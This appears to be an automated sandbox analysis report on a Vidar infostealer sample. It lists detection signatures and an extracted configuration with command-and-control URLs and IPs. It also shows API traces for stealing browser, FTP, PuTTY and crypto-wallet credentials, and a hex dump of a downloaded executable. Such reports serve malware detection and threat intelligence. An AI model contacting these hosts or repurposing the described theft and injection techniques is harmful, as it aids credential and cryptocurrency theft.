Windows Analysis Report
a8fb80b6e9d920c26922b29171e8301d5d4d9d4f20cd1b07cad94234b27c61be_payload.exe

Overview

General Information

Sample name:	a8fb80b6e9d920c26922b29171e8301d5d4d9d4f20cd1b07cad94234b27c61be_payload.exe
Analysis ID:	1487424
MD5:	3cd180f72198597215cab492c109f5a0
SHA1:	01ceb31bfcb1f5d6eefffa5bf1c6cb891ca6dd75
SHA256:	5ad0e5d670206288abccd95bb0e3ff1ee9a889b49423cb5160c7c59912991a0d
Tags:	exe
Infos:

Detection

Vidar

Score:	100
Range:	0 - 100
Whitelisted:	false
Confidence:	100%

Signatures

Antivirus detection for URL or domain

Found malware configuration

Multi AV Scanner detection for domain / URL

Multi AV Scanner detection for dropped file

Multi AV Scanner detection for submitted file

Yara detected AntiVM3

Yara detected Powershell download and execute

Yara detected Vidar

Yara detected Vidar stealer

.NET source code contains method to dynamically call methods (often used by packers)

AI detected suspicious sample

Allocates memory in foreign processes

C2 URLs / IPs found in malware configuration

Contains functionality to inject code into remote processes

Found many strings related to Crypto-Wallets (likely being stolen)

Injects a PE file into a foreign processes

Machine Learning detection for dropped file

Searches for specific processes (likely to inject)

Sigma detected: Silenttrinity Stager Msbuild Activity

Tries to harvest and steal Bitcoin Wallet information

Tries to harvest and steal Putty / WinSCP information (sessions, passwords, etc)

Tries to harvest and steal browser information (history, passwords, etc)

Tries to harvest and steal ftp login credentials

Tries to steal Crypto Currency Wallets

Writes to foreign memory regions

AV process strings found (often used to terminate AV products)

Allocates memory with a write watch (potentially for evading sandboxes)

Checks if Antivirus/Antispyware/Firewall program is installed (via WMI)

Contains functionality to call native functions

Contains functionality to check if a debugger is running (IsDebuggerPresent)

Contains functionality to create guard pages, often used to hinder reverse engineering and debugging

Contains functionality to dynamically determine API calls

Contains functionality to open a port and listen for incoming connection (possibly a backdoor)

Contains functionality to query CPU information (cpuid)

Contains functionality to query locales information (e.g. system language)

Contains functionality to read the PEB

Contains functionality to record screenshots

Contains functionality which may be used to detect a debugger (GetProcessHeap)

Contains long sleeps (>= 3 min)

Creates a process in suspended mode (likely to inject code)

Detected potential crypto function

Downloads executable code via HTTP

Dropped file seen in connection with other malware

Drops PE files

Drops PE files to the application program directory (C:\ProgramData)

Enables debug privileges

Extensive use of GetProcAddress (often used to hide API calls)

Found dropped PE file which has not been started or loaded

Found inlined nop instructions (likely shell or obfuscated code)

Found large amount of non-executed APIs

Found potential string decryption / allocating functions

HTTP GET or POST without a user agent

IP address seen in connection with other malware

Internet Provider seen in connection with other malware

JA3 SSL client fingerprint seen in connection with other malware

May sleep (evasive loops) to hinder dynamic analysis

Monitors certain registry keys / values for changes (often done to protect autostart functionality)

PE file contains sections with non-standard names

Queries information about the installed CPU (vendor, model number etc)

Queries the volume information (name, serial number etc) of a device

Sample execution stops while process was sleeping (likely an evasion)

Sample file is different than original file name gathered from version info

Uses 32bit PE files

Uses Microsoft's Enhanced Cryptographic Provider

Uses a known web browser user agent for HTTP communication

Uses code obfuscation techniques (call, push, ret)

Yara detected Credential Stealer

Classification

Malware Threat Intel
Provided by

Name	Description	Attribution	Blogpost URLs	Link
Vidar	Vidar is a forked malware based on Arkei. It seems this stealer is one of the first that is grabbing information on 2FA Software and Tor Browser.	No Attribution	https://0x00-0x7f.github.io/A-Case-of-Vidar-Infostealer-Part-1-(-Unpacking-)/ https://0x00-0x7f.github.io/A-Case-of-Vidar-Infostealer-Part-2/ https://0xtoxin-labs.gitbook.io/malware-analysis/malware-analysis/vidar-stealer-h-and-m-campaign https://0xtoxin.github.io/malware%20analysis/Vidar-Stealer-Campaign/ https://asec.ahnlab.com/en/22932/	https://malpedia.caad.fkie.fraunhofer.de/details/win.vidar

Signatures

AV Detection

Antivirus detection for URL or domain

Source: https://168.119.176.241/r	Avira URL Cloud: Label: malware
Source: https://168.119.176.241/s	Avira URL Cloud: Label: malware
Source: https://168.119.176.241/t	Avira URL Cloud: Label: malware
Source: https://168.119.176.241/qo	Avira URL Cloud: Label: malware
Source: https://168.119.176.241/z:O	Avira URL Cloud: Label: malware
Source: https://168.119.176.241/r5	Avira URL Cloud: Label: malware
Source: https://steamcommunity.com/profiles/76561199747278259/badges	Avira URL Cloud: Label: malware
Source: https://168.119.176.241/259H	Avira URL Cloud: Label: malware
Source: https://168.119.176.241/K	Avira URL Cloud: Label: malware
Source: https://168.119.176.241/ECD	Avira URL Cloud: Label: malware
Source: https://168.119.176.241/0	Avira URL Cloud: Label: malware
Source: https://168.119.176.241/RCHAR	Avira URL Cloud: Label: malware
Source: https://168.119.176.241/8	Avira URL Cloud: Label: malware
Source: https://168.119.176.241/6	Avira URL Cloud: Label: malware
Source: https://168.119.176.241/$	Avira URL Cloud: Label: malware
Source: https://168.119.176.241/vcruntime140.dll	Avira URL Cloud: Label: malware
Source: https://168.119.176.241/&	Avira URL Cloud: Label: malware
Source: https://168.119.176.241/sqls.dllI	Avira URL Cloud: Label: malware
Source: https://168.119.176.241/msvcp140.dll	Avira URL Cloud: Label: malware
Source: https://168.119.176.241/sqls.dll_	Avira URL Cloud: Label: malware
Source: https://168.119.176.241/graphy	Avira URL Cloud: Label: malware
Source: https://steamcommunity.com/profiles/76561199747278259/inventory/	Avira URL Cloud: Label: malware
Source: https://168.119.176.241	Avira URL Cloud: Label: malware
Source: https://168.119.176.241/nss3.dllf	Avira URL Cloud: Label: malware
Source: https://168.119.176.241/41	Avira URL Cloud: Label: malware
Source: https://168.119.176.241/key%	Avira URL Cloud: Label: malware
Source: https://168.119.176.241/(%f	Avira URL Cloud: Label: malware
Source: https://168.119.176.241/s_1l	Avira URL Cloud: Label: malware
Source: https://168.119.176.241/softokn3.dll	Avira URL Cloud: Label: malware
Source: https://168.119.176.241/mozglue.dllU	Avira URL Cloud: Label: malware
Source: https://168.119.176.241/Microsoft	Avira URL Cloud: Label: malware

Found malware configuration

Source: a8fb80b6e9d920c26922b29171e8301d5d4d9d4f20cd1b07cad94234b27c61be_payload.exe

Malware Configuration Extractor: Vidar {"C2 url": ["https://steamcommunity.com/profiles/76561199747278259"], "Botnet": "625d7a8e379321656ff1b88ebf9542b7"}

Multi AV Scanner detection for domain / URL

Source: arpdabl.zapto.org	Virustotal: Detection: 12%	Perma Link
Source: https://168.119.176.241/0	Virustotal: Detection: 13%	Perma Link
Source: https://168.119.176.241/6	Virustotal: Detection: 13%	Perma Link
Source: https://168.119.176.241/8	Virustotal: Detection: 13%	Perma Link

Multi AV Scanner detection for dropped file

Source: C:\ProgramData\EHDHIDAEHC.exe	ReversingLabs: Detection: 36%
Source: C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\YLNGKWRH\mine[1].exe	ReversingLabs: Detection: 36%

Multi AV Scanner detection for submitted file

Source: a8fb80b6e9d920c26922b29171e8301d5d4d9d4f20cd1b07cad94234b27c61be_payload.exe

Virustotal: Detection: 60%

Perma Link

AI detected suspicious sample

Source: Submited Sample

Integrated Neural Analysis Model: Matched 100.0% probability

Machine Learning detection for dropped file

Source: C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\YLNGKWRH\mine[1].exe	Joe Sandbox ML: detected
Source: C:\ProgramData\EHDHIDAEHC.exe	Joe Sandbox ML: detected

Uses Microsoft's Enhanced Cryptographic Provider

Source: C:\Users\user\Desktop\a8fb80b6e9d920c26922b29171e8301d5d4d9d4f20cd1b07cad94234b27c61be_payload.exe	Code function: 0_2_003D6D50 CryptUnprotectData,LocalAlloc,LocalFree,	0_2_003D6D50
Source: C:\Users\user\Desktop\a8fb80b6e9d920c26922b29171e8301d5d4d9d4f20cd1b07cad94234b27c61be_payload.exe	Code function: 0_2_003D6CD0 CryptStringToBinaryA,LocalAlloc,CryptStringToBinaryA,LocalFree,	0_2_003D6CD0
Source: C:\Users\user\Desktop\a8fb80b6e9d920c26922b29171e8301d5d4d9d4f20cd1b07cad94234b27c61be_payload.exe	Code function: 0_2_003D8980 memset,lstrlenA,CryptStringToBinaryA,PK11_GetInternalKeySlot,PK11_Authenticate,PK11SDR_Decrypt,memcpy,PK11_FreeSlot,lstrcatA,PK11_FreeSlot,lstrcatA,	0_2_003D8980
Source: C:\Users\user\Desktop\a8fb80b6e9d920c26922b29171e8301d5d4d9d4f20cd1b07cad94234b27c61be_payload.exe	Code function: 0_2_003E0DF0 CryptBinaryToStringA,GetProcessHeap,HeapAlloc,CryptBinaryToStringA,	0_2_003E0DF0
Source: C:\Users\user\Desktop\a8fb80b6e9d920c26922b29171e8301d5d4d9d4f20cd1b07cad94234b27c61be_payload.exe	Code function: 0_2_6C2A6C80 CryptQueryObject,CryptMsgGetParam,moz_xmalloc,memset,CryptMsgGetParam,CertFindCertificateInStore,free,CertGetNameStringW,moz_xmalloc,memset,CertGetNameStringW,CertFreeCertificateContext,CryptMsgClose,CertCloseStore,CreateFileW,moz_xmalloc,memset,memset,CryptQueryObject,free,CloseHandle,__Init_thread_footer,__Init_thread_footer,__Init_thread_footer,__Init_thread_footer,__Init_thread_footer,__Init_thread_footer,memset,VerSetConditionMask,VerSetConditionMask,VerSetConditionMask,VerSetConditionMask,VerSetConditionMask,VerifyVersionInfoW,moz_xmalloc,memset,GetLastError,moz_xmalloc,memset,CryptBinaryToStringW,_wcsupr_s,free,GetLastError,memset,VerSetConditionMask,VerSetConditionMask,VerSetConditionMask,VerSetConditionMask,VerSetConditionMask,VerifyVersionInfoW,__Init_thread_footer,__Init_thread_footer,	0_2_6C2A6C80
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe	Code function: 6_2_00406D50 CryptUnprotectData,LocalAlloc,LocalFree,	6_2_00406D50
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe	Code function: 6_2_00406CD0 CryptStringToBinaryA,LocalAlloc,CryptStringToBinaryA,LocalFree,	6_2_00406CD0
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe	Code function: 6_2_00410DF0 CryptBinaryToStringA,GetProcessHeap,HeapAlloc,CryptBinaryToStringA,	6_2_00410DF0
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe	Code function: 6_2_00408980 memset,lstrlenA,CryptStringToBinaryA,memcpy,lstrcatA,lstrcatA,	6_2_00408980

Uses 32bit PE files

Source: a8fb80b6e9d920c26922b29171e8301d5d4d9d4f20cd1b07cad94234b27c61be_payload.exe

Static PE information: EXECUTABLE_IMAGE, 32BIT_MACHINE

Source: unknown	HTTPS traffic detected: 104.102.49.249:443 -> 192.168.2.4:49730 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 168.119.176.241:443 -> 192.168.2.4:49731 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 104.102.49.249:443 -> 192.168.2.4:49764 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 168.119.176.241:443 -> 192.168.2.4:49765 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 168.119.176.241:443 -> 192.168.2.4:49773 version: TLS 1.2

Source:	Binary string: mozglue.pdbP source: a8fb80b6e9d920c26922b29171e8301d5d4d9d4f20cd1b07cad94234b27c61be_payload.exe, 00000000.00000002.2188073732.00000000358C9000.00000004.00000020.00020000.00000000.sdmp, a8fb80b6e9d920c26922b29171e8301d5d4d9d4f20cd1b07cad94234b27c61be_payload.exe, 00000000.00000002.2206774883.000000006C30D000.00000002.00000001.01000000.00000008.sdmp, mozglue.dll.0.dr
Source:	Binary string: freebl3.pdb source: a8fb80b6e9d920c26922b29171e8301d5d4d9d4f20cd1b07cad94234b27c61be_payload.exe, 00000000.00000002.2185251178.000000002F952000.00000004.00000020.00020000.00000000.sdmp, freebl3.dll.0.dr
Source:	Binary string: freebl3.pdbp source: a8fb80b6e9d920c26922b29171e8301d5d4d9d4f20cd1b07cad94234b27c61be_payload.exe, 00000000.00000002.2185251178.000000002F952000.00000004.00000020.00020000.00000000.sdmp, freebl3.dll.0.dr
Source:	Binary string: nss3.pdb@ source: a8fb80b6e9d920c26922b29171e8301d5d4d9d4f20cd1b07cad94234b27c61be_payload.exe, 00000000.00000002.2200231222.000000004D676000.00000004.00000020.00020000.00000000.sdmp, a8fb80b6e9d920c26922b29171e8301d5d4d9d4f20cd1b07cad94234b27c61be_payload.exe, 00000000.00000002.2207204540.000000006C4CF000.00000002.00000001.01000000.00000007.sdmp, nss3.dll.0.dr
Source:	Binary string: minelabfoto.pdb( source: mine[1].exe.0.dr, EHDHIDAEHC.exe.0.dr
Source:	Binary string: minelabfoto.pdb source: EHDHIDAEHC.exe, 00000004.00000000.2083490533.0000000000602000.00000002.00000001.01000000.00000009.sdmp, mine[1].exe.0.dr, EHDHIDAEHC.exe.0.dr
Source:	Binary string: PE.pdbH] source: EHDHIDAEHC.exe, 00000004.00000002.2092269679.0000000002E61000.00000004.00000800.00020000.00000000.sdmp, EHDHIDAEHC.exe, 00000004.00000002.2097766953.00000000053B0000.00000004.08000000.00040000.00000000.sdmp
Source:	Binary string: C:\Users\press\AppData\Local\Temp\Report.A66214F7-6635-4084-8609-050NK772Dll\obj\Debug\kfqXL.pdb source: EHDHIDAEHC.exe, 00000004.00000002.2094707680.000000000426C000.00000004.00000800.00020000.00000000.sdmp, EHDHIDAEHC.exe, 00000004.00000002.2094707680.0000000003FFE000.00000004.00000800.00020000.00000000.sdmp, EHDHIDAEHC.exe, 00000004.00000002.2098035068.0000000005634000.00000004.08000000.00040000.00000000.sdmp
Source:	Binary string: softokn3.pdb@ source: a8fb80b6e9d920c26922b29171e8301d5d4d9d4f20cd1b07cad94234b27c61be_payload.exe, 00000000.00000002.2193997292.00000000417A2000.00000004.00000020.00020000.00000000.sdmp, softokn3.dll.0.dr
Source:	Binary string: d:\agent\_work\1\s\binaries\x86ret\bin\i386\\vcruntime140.i386.pdb source: a8fb80b6e9d920c26922b29171e8301d5d4d9d4f20cd1b07cad94234b27c61be_payload.exe, 00000000.00000002.2197298605.0000000047710000.00000004.00000020.00020000.00000000.sdmp, vcruntime140.dll.0.dr
Source:	Binary string: d:\agent\_work\1\s\binaries\x86ret\bin\i386\\msvcp140.i386.pdb source: a8fb80b6e9d920c26922b29171e8301d5d4d9d4f20cd1b07cad94234b27c61be_payload.exe, 00000000.00000002.2191144720.000000003B838000.00000004.00000020.00020000.00000000.sdmp, msvcp140.dll.0.dr
Source:	Binary string: PE.pdb source: EHDHIDAEHC.exe, 00000004.00000002.2092269679.0000000002E61000.00000004.00000800.00020000.00000000.sdmp, EHDHIDAEHC.exe, 00000004.00000002.2097766953.00000000053B0000.00000004.08000000.00040000.00000000.sdmp
Source:	Binary string: nss3.pdb source: a8fb80b6e9d920c26922b29171e8301d5d4d9d4f20cd1b07cad94234b27c61be_payload.exe, 00000000.00000002.2200231222.000000004D676000.00000004.00000020.00020000.00000000.sdmp, a8fb80b6e9d920c26922b29171e8301d5d4d9d4f20cd1b07cad94234b27c61be_payload.exe, 00000000.00000002.2207204540.000000006C4CF000.00000002.00000001.01000000.00000007.sdmp, nss3.dll.0.dr
Source:	Binary string: mozglue.pdb source: a8fb80b6e9d920c26922b29171e8301d5d4d9d4f20cd1b07cad94234b27c61be_payload.exe, 00000000.00000002.2188073732.00000000358C9000.00000004.00000020.00020000.00000000.sdmp, a8fb80b6e9d920c26922b29171e8301d5d4d9d4f20cd1b07cad94234b27c61be_payload.exe, 00000000.00000002.2206774883.000000006C30D000.00000002.00000001.01000000.00000008.sdmp, mozglue.dll.0.dr
Source:	Binary string: C:\Users\Dan\Desktop\work\sqlite\tmp\sqlite_bld_dir\2\sqlite3.pdb source: a8fb80b6e9d920c26922b29171e8301d5d4d9d4f20cd1b07cad94234b27c61be_payload.exe, 00000000.00000002.2181684903.0000000025178000.00000002.00001000.00020000.00000000.sdmp, a8fb80b6e9d920c26922b29171e8301d5d4d9d4f20cd1b07cad94234b27c61be_payload.exe, 00000000.00000002.2181945016.00000000276BB000.00000004.00000020.00020000.00000000.sdmp, MSBuild.exe, 00000006.00000002.2356461481.0000000020028000.00000002.00001000.00020000.00000000.sdmp, MSBuild.exe, 00000006.00000002.2349842336.000000001A0B7000.00000004.00000020.00020000.00000000.sdmp
Source:	Binary string: softokn3.pdb source: a8fb80b6e9d920c26922b29171e8301d5d4d9d4f20cd1b07cad94234b27c61be_payload.exe, 00000000.00000002.2193997292.00000000417A2000.00000004.00000020.00020000.00000000.sdmp, softokn3.dll.0.dr

Source: C:\Users\user\Desktop\a8fb80b6e9d920c26922b29171e8301d5d4d9d4f20cd1b07cad94234b27c61be_payload.exe	Code function: 0_2_003D1110 FindFirstFileA,StrCmpCA,StrCmpCA,FindFirstFileA,CopyFileA,DeleteFileA,FindNextFileA,FindClose,CopyFileA,DeleteFileA,FindNextFileA,FindClose,	0_2_003D1110
Source: C:\Users\user\Desktop\a8fb80b6e9d920c26922b29171e8301d5d4d9d4f20cd1b07cad94234b27c61be_payload.exe	Code function: 0_2_003D99F0 FindFirstFileA,StrCmpCA,StrCmpCA,StrCmpCA,StrCmpCA,StrCmpCA,StrCmpCA,FindNextFileA,FindClose,	0_2_003D99F0
Source: C:\Users\user\Desktop\a8fb80b6e9d920c26922b29171e8301d5d4d9d4f20cd1b07cad94234b27c61be_payload.exe	Code function: 0_2_003E5EA0 wsprintfA,FindFirstFileA,StrCmpCA,StrCmpCA,wsprintfA,StrCmpCA,wsprintfA,wsprintfA,PathMatchSpecA,lstrcatA,lstrcatA,lstrcatA,lstrcatA,lstrcatA,CopyFileA,DeleteFileA,FindNextFileA,FindClose,	0_2_003E5EA0
Source: C:\Users\user\Desktop\a8fb80b6e9d920c26922b29171e8301d5d4d9d4f20cd1b07cad94234b27c61be_payload.exe	Code function: 0_2_003DC2E0 FindFirstFileA,StrCmpCA,StrCmpCA,StrCmpCA,StrCmpCA,StrCmpCA,CopyFileA,DeleteFileA,StrCmpCA,StrCmpCA,StrCmpCA,StrCmpCA,CopyFileA,StrCmpCA,DeleteFileA,StrCmpCA,CopyFileA,DeleteFileA,FindNextFileA,FindClose,	0_2_003DC2E0
Source: C:\Users\user\Desktop\a8fb80b6e9d920c26922b29171e8301d5d4d9d4f20cd1b07cad94234b27c61be_payload.exe	Code function: 0_2_003DA2C0 FindFirstFileA,StrCmpCA,StrCmpCA,StrCmpCA,StrCmpCA,StrCmpCA,StrCmpCA,FindNextFileA,	0_2_003DA2C0
Source: C:\Users\user\Desktop\a8fb80b6e9d920c26922b29171e8301d5d4d9d4f20cd1b07cad94234b27c61be_payload.exe	Code function: 0_2_003E56C0 wsprintfA,FindFirstFileA,StrCmpCA,StrCmpCA,lstrcatA,lstrcatA,lstrcatA,lstrcatA,lstrcatA,lstrcatA,FindNextFileA,FindClose,	0_2_003E56C0
Source: C:\Users\user\Desktop\a8fb80b6e9d920c26922b29171e8301d5d4d9d4f20cd1b07cad94234b27c61be_payload.exe	Code function: 0_2_003DB390 FindFirstFileA,StrCmpCA,StrCmpCA,StrCmpCA,CopyFileA,CopyFileA,DeleteFileA,FindNextFileA,FindClose,	0_2_003DB390
Source: C:\Users\user\Desktop\a8fb80b6e9d920c26922b29171e8301d5d4d9d4f20cd1b07cad94234b27c61be_payload.exe	Code function: 0_2_003E4F80 wsprintfA,FindFirstFileA,memset,memset,StrCmpCA,StrCmpCA,wsprintfA,StrCmpCA,wsprintfA,wsprintfA,memset,lstrcatA,strtok_s,strtok_s,memset,lstrcatA,strtok_s,PathMatchSpecA,DeleteFileA,CopyFileA,__ehfuncinfo$??2@YAPAXIABUnothrow_t@std@@@Z,DeleteFileA,strtok_s,FindNextFileA,FindClose,	0_2_003E4F80
Source: C:\Users\user\Desktop\a8fb80b6e9d920c26922b29171e8301d5d4d9d4f20cd1b07cad94234b27c61be_payload.exe	Code function: 0_2_003D9D40 StrCmpCA,FindFirstFileA,StrCmpCA,StrCmpCA,CopyFileA,DeleteFileA,FindNextFileA,FindClose,	0_2_003D9D40
Source: C:\Users\user\Desktop\a8fb80b6e9d920c26922b29171e8301d5d4d9d4f20cd1b07cad94234b27c61be_payload.exe	Code function: 0_2_003E5A70 GetProcessHeap,HeapAlloc,wsprintfA,FindFirstFileA,StrCmpCA,StrCmpCA,wsprintfA,CopyFileA,DeleteFileA,FindNextFileA,FindClose,lstrcatA,lstrcatA,lstrlenA,lstrlenA,	0_2_003E5A70
Source: C:\Users\user\Desktop\a8fb80b6e9d920c26922b29171e8301d5d4d9d4f20cd1b07cad94234b27c61be_payload.exe	Code function: 0_2_003DAAB0 wsprintfA,FindFirstFileA,StrCmpCA,StrCmpCA,lstrlenA,DeleteFileA,CopyFileA,FindNextFileA,FindClose,	0_2_003DAAB0
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe	Code function: 6_2_0040C2E0 FindFirstFileA,StrCmpCA,StrCmpCA,StrCmpCA,StrCmpCA,StrCmpCA,CopyFileA,DeleteFileA,StrCmpCA,StrCmpCA,StrCmpCA,StrCmpCA,CopyFileA,StrCmpCA,DeleteFileA,StrCmpCA,CopyFileA,DeleteFileA,FindNextFileA,FindClose,	6_2_0040C2E0
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe	Code function: 6_2_00409D40 StrCmpCA,FindFirstFileA,StrCmpCA,StrCmpCA,CopyFileA,DeleteFileA,FindNextFileA,FindClose,	6_2_00409D40
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe	Code function: 6_2_00401110 FindFirstFileA,StrCmpCA,StrCmpCA,FindFirstFileA,CopyFileA,DeleteFileA,FindNextFileA,FindClose,CopyFileA,DeleteFileA,FindNextFileA,FindClose,	6_2_00401110
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe	Code function: 6_2_004099F0 FindFirstFileA,StrCmpCA,StrCmpCA,StrCmpCA,StrCmpCA,StrCmpCA,StrCmpCA,FindNextFileA,FindClose,	6_2_004099F0
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe	Code function: 6_2_00415A70 GetProcessHeap,HeapAlloc,wsprintfA,FindFirstFileA,StrCmpCA,StrCmpCA,wsprintfA,CopyFileA,DeleteFileA,FindNextFileA,FindClose,lstrcatA,lstrcatA,lstrlenA,lstrlenA,	6_2_00415A70
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe	Code function: 6_2_0040A2C0 FindFirstFileA,StrCmpCA,StrCmpCA,StrCmpCA,StrCmpCA,StrCmpCA,StrCmpCA,FindNextFileA,	6_2_0040A2C0
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe	Code function: 6_2_004156C0 wsprintfA,FindFirstFileA,StrCmpCA,StrCmpCA,lstrcatA,lstrcatA,lstrcatA,lstrcatA,lstrcatA,lstrcatA,FindNextFileA,FindClose,	6_2_004156C0
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe	Code function: 6_2_00415EA0 wsprintfA,FindFirstFileA,StrCmpCA,StrCmpCA,wsprintfA,StrCmpCA,wsprintfA,wsprintfA,PathMatchSpecA,lstrcatA,lstrcatA,lstrcatA,lstrcatA,lstrcatA,CopyFileA,DeleteFileA,FindNextFileA,FindClose,	6_2_00415EA0
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe	Code function: 6_2_0040AAB0 wsprintfA,FindFirstFileA,StrCmpCA,StrCmpCA,lstrlenA,DeleteFileA,CopyFileA,FindNextFileA,FindClose,	6_2_0040AAB0
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe	Code function: 6_2_00414F80 wsprintfA,FindFirstFileA,memset,memset,StrCmpCA,StrCmpCA,wsprintfA,StrCmpCA,wsprintfA,wsprintfA,memset,lstrcatA,strtok_s,strtok_s,memset,lstrcatA,strtok_s,PathMatchSpecA,DeleteFileA,CopyFileA,__ehfuncinfo$??2@YAPAXIABUnothrow_t@std@@@Z,DeleteFileA,strtok_s,FindNextFileA,FindClose,	6_2_00414F80
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe	Code function: 6_2_0040B390 FindFirstFileA,StrCmpCA,StrCmpCA,StrCmpCA,CopyFileA,CopyFileA,DeleteFileA,FindNextFileA,FindClose,	6_2_0040B390

Source: C:\Users\user\Desktop\a8fb80b6e9d920c26922b29171e8301d5d4d9d4f20cd1b07cad94234b27c61be_payload.exe

Code function: 0_2_003E53C0 GetLogicalDriveStringsA,memset,GetDriveTypeA,lstrcpyA,lstrcpyA,lstrcpyA,lstrlenA,

0_2_003E53C0

Source: C:\Users\user\Desktop\a8fb80b6e9d920c26922b29171e8301d5d4d9d4f20cd1b07cad94234b27c61be_payload.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Extensions\nmmhkkegccagdldgiimedpiccmgmieda\1.0.0.6_0\html\	Jump to behavior
Source: C:\Users\user\Desktop\a8fb80b6e9d920c26922b29171e8301d5d4d9d4f20cd1b07cad94234b27c61be_payload.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Extensions\nmmhkkegccagdldgiimedpiccmgmieda\1.0.0.6_0\_locales\	Jump to behavior
Source: C:\Users\user\Desktop\a8fb80b6e9d920c26922b29171e8301d5d4d9d4f20cd1b07cad94234b27c61be_payload.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Extensions\nmmhkkegccagdldgiimedpiccmgmieda\1.0.0.6_0\images\	Jump to behavior
Source: C:\Users\user\Desktop\a8fb80b6e9d920c26922b29171e8301d5d4d9d4f20cd1b07cad94234b27c61be_payload.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Extensions\nmmhkkegccagdldgiimedpiccmgmieda\1.0.0.6_0\	Jump to behavior
Source: C:\Users\user\Desktop\a8fb80b6e9d920c26922b29171e8301d5d4d9d4f20cd1b07cad94234b27c61be_payload.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Extensions\nmmhkkegccagdldgiimedpiccmgmieda\1.0.0.6_0\_locales\bg\	Jump to behavior
Source: C:\Users\user\Desktop\a8fb80b6e9d920c26922b29171e8301d5d4d9d4f20cd1b07cad94234b27c61be_payload.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Extensions\nmmhkkegccagdldgiimedpiccmgmieda\1.0.0.6_0\css\	Jump to behavior

Found inlined nop instructions (likely shell or obfuscated code)

Source: C:\ProgramData\EHDHIDAEHC.exe

Code function: 4x nop then mov dword ptr [ebp-20h], 00000000h

4_2_05A6D0C8

Networking

C2 URLs / IPs found in malware configuration

Source: Malware configuration extractor

URLs: https://steamcommunity.com/profiles/76561199747278259

Downloads executable code via HTTP

Source: global traffic

HTTP traffic detected: HTTP/1.1 200 OKDate: Sun, 04 Aug 2024 00:21:35 GMTServer: ApacheLast-Modified: Sat, 03 Aug 2024 17:07:11 GMTETag: "4e7000-61eca7984f383"Accept-Ranges: bytesContent-Length: 5140480Content-Type: application/octet-streamData Raw: 4d 5a 90 00 03 00 00 00 04 00 00 00 ff ff 00 00 b8 00 00 00 00 00 00 00 40 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 80 00 00 00 0e 1f ba 0e 00 b4 09 cd 21 b8 01 4c cd 21 54 68 69 73 20 70 72 6f 67 72 61 6d 20 63 61 6e 6e 6f 74 20 62 65 20 72 75 6e 20 69 6e 20 44 4f 53 20 6d 6f 64 65 2e 0d 0d 0a 24 00 00 00 00 00 00 00 50 45 00 00 4c 01 04 00 f9 b7 ad 66 00 00 00 00 00 00 00 00 e0 00 0e 01 0b 01 06 00 00 d2 4c 00 00 9a 01 00 00 00 00 00 4e f0 4c 00 00 20 00 00 00 00 4d 00 00 00 40 00 00 20 00 00 00 02 00 00 04 00 00 00 00 00 00 00 04 00 00 00 00 00 00 00 00 e0 4e 00 00 04 00 00 a6 d9 4e 00 02 00 40 85 00 00 10 00 00 10 00 00 00 00 10 00 00 10 00 00 00 00 00 00 10 00 00 00 00 00 00 00 00 00 00 00 00 f0 4c 00 4b 00 00 00 00 20 4d 00 c6 8c 01 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 c0 4e 00 0c 00 00 00 af ef 4c 00 1c 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 20 00 00 08 00 00 00 00 00 00 00 00 00 00 00 08 20 00 00 48 00 00 00 00 00 00 00 00 00 00 00 2e 74 65 78 74 00 00 00 54 d0 4c 00 00 20 00 00 00 d2 4c 00 00 04 00 00 00 00 00 00 00 00 00 00 00 00 00 00 20 00 00 60 2e 73 64 61 74 61 00 00 8f 09 00 00 00 00 4d 00 00 0a 00 00 00 d6 4c 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 c0 2e 72 73 72 63 00 00 00 c6 8c 01 00 00 20 4d 00 00 8e 01 00 00 e0 4c 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 40 2e 72 65 6c 6f 63 00 00 0c 00 00 00 00 c0 4e 00 00 02 00 00 00 6e 4e 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 42 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 